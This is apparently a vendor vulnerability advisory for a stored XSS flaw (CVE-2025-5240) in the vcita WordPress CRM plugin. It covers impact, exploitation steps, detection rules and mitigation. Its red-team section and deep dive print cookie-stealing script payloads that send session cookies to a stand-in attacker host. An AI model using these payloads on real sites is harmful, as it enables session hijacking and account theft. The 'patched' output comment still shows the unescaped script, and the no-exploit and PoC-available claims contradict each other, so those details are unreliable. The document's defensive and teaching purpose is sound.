CVE-2025-5240
Executive Summary
CVE-2025-5240 is a Stored Cross-Site Scripting (XSS) vulnerability in the CRM and Lead Management by vcita WordPress plugin, affecting all versions up to and including 2.7.5. The flaw resides in insufficient sanitization of the type parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user (including administrators) accesses a compromised page, leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. Given the plugin’s widespread use in WordPress CRM workflows, this poses a significant risk to site integrity and user data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The vcita plugin is a third-party component integrated into WordPress sites. The attack vector relies on WordPress’s role-based access (Contributor+), and the injected scripts execute within the WordPress page context. No underlying web server (Apache/Nginx) or WordPress core is directly implicated.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): Low – requires Contributor-level authentication.
- User Interaction (UI): None – no victim action needed for script execution.
- Scope (S): Changed – impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited script injection.
- Availability (A): None – no denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s integration with CRM data (potentially containing sensitive customer information) elevates the real-world risk. An attacker with Contributor access can persistently compromise pages viewed by higher-privileged users.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s shortcode or form rendering logic, where the type parameter is used to determine the display mode or template. The plugin fails to sanitize this parameter before storing it in the WordPress database (e.g., as post meta or a custom field). When the page is rendered, the unsanitized value is echoed directly into the HTML without proper escaping.
Attack Flow:
- An authenticated user with Contributor role creates or edits a page/post.
- The attacker inserts a malicious payload into the
typeparameter (e.g., via a shortcode attribute or custom field). - The plugin stores the payload in the database.
- When any user (including admins) views the page, the payload executes in their browser.
Example Payload (Conceptual):
<script>alert('XSS')</script>
Or a more sophisticated payload to steal cookies:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The root cause is the lack of esc_html() or wp_kses_post() on the type parameter before output.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the expected fix.
Vulnerable Code (Conceptual):
// In plugin's shortcode handler
$type = $_GET['type'] ?? 'default';
echo "<div class='vcita-type-$type'>";
// Output: <div class='vcita-type-<script>alert(1)</script>'>
Patched Code (Expected Fix):
$type = sanitize_text_field($_GET['type'] ?? 'default');
echo "<div class='vcita-type-" . esc_attr($type) . "'>";
// Output: <div class='vcita-type-<script>alert(1)</script>'>
The fix uses sanitize_text_field() for input and esc_attr() for output, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with vcita plugin <= 2.7.5.
- Contributor-level account credentials.
Steps:
- Log in as a Contributor.
- Create a new page or edit an existing one.
- In the page content, insert the vcita shortcode with a malicious
typeparameter:[vcita_crm type='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] - Publish the page.
- Wait for an admin or other user to view the page. The script executes, exfiltrating cookies.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual
typeparameter values in vcita shortcodes. - Use WAF rules to block
<script>tags in shortcode attributes. - Review Contributor-level activity for suspicious page edits.
Mitigation:
- Disable the vcita plugin until a patch is released.
- Restrict Contributor roles from using shortcodes that accept user input.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File System: Modified WordPress posts/pages containing vcita shortcodes with
typeparameter containing<script>tags. - Database: Entries in
wp_posts.post_contentorwp_postmetawith patterns like[vcita_crm type='<script>. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
GET /steal?c=...). - Logs: WordPress audit logs showing page edits by Contributor users with unusual shortcode parameters.
Detection Engineering
YARA Rule
rule CVE_2025_5240_Stored_XSS {
meta:
description = "Detects stored XSS payloads in vcita plugin shortcode type parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5240"
strings:
$shortcode = /\[vcita_crm\s+type\s*=\s*['\"][^'\"]*<script[^>]*>/
$payload = /<script[^>]*>.*?<\/script>/ nocase
condition:
$shortcode and $payload
}
Sigma Rule
title: CVE-2025-5240 Stored XSS via vcita Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages containing vcita shortcodes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- '/wp-admin/post.php'
- '/wp-admin/post-new.php'
http.request.body|contains:
- '[vcita_crm type='
- '<script>'
condition: selection
falsepositives:
- Legitimate use of script tags in page content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5240 vcita Stored XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?c="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by vcita.
- Review and clean any existing posts/pages containing malicious shortcodes.
- Reset passwords for all users who may have been affected (especially admins).
Long-term Fixes:
- Apply the vendor patch when available.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in shortcode parameters. - Enforce strict Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; - Restrict Contributor roles from using shortcodes that accept raw input.
Workaround (if plugin must remain active):
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
- Manually edit the plugin’s PHP files to add
esc_attr()around thetypeparameter output (not recommended for non-developers).
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.